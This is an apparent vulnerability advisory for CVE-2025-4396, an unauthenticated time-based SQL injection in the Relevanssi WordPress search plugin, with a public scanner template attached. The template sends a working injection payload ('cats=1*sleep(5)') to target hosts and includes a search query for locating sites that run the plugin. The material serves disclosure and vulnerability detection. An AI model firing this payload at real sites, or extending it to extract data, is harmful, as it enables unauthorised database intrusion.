The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and <= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.
PoC代码[已公开]
id: CVE-2025-4396
info:
name: Relevanssi <= 4.24.4 (Free) - Unauthenticated SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and <= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/detail/relevanssi-4244-free-and-2274-premium-unauthenticated-sql-injection
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search-tax-query.php#L371
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search-tax-query.php#L409
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search.php#L1016
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search.php#L982
classification:
epss-score: 0.28198
epss-percentile: 0.96342
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-4396
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/relevanssi/"
tags: cve,cve2025,wordpress,wp-plugin,wp,relevanssi,time-based-sqli
http:
- raw:
- |
@timeout: 30s
GET /?s={{randstr}}&cats=1*sleep(5) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'contains(content_type, "text/html")'
- 'contains(body, "relevanssi")'
condition: and
# digest: 4b0a004830460221008a1457ee67b8ce8d7ee5065f1efaf11d4507d8f0ba3f6ec851470c9bf91a0a80022100882c58f136937d4283ffa17efd504ceee41b6c1e0d43e1ec8631e7a35df5c50c:922c64590222798bb761d5b6d8e72950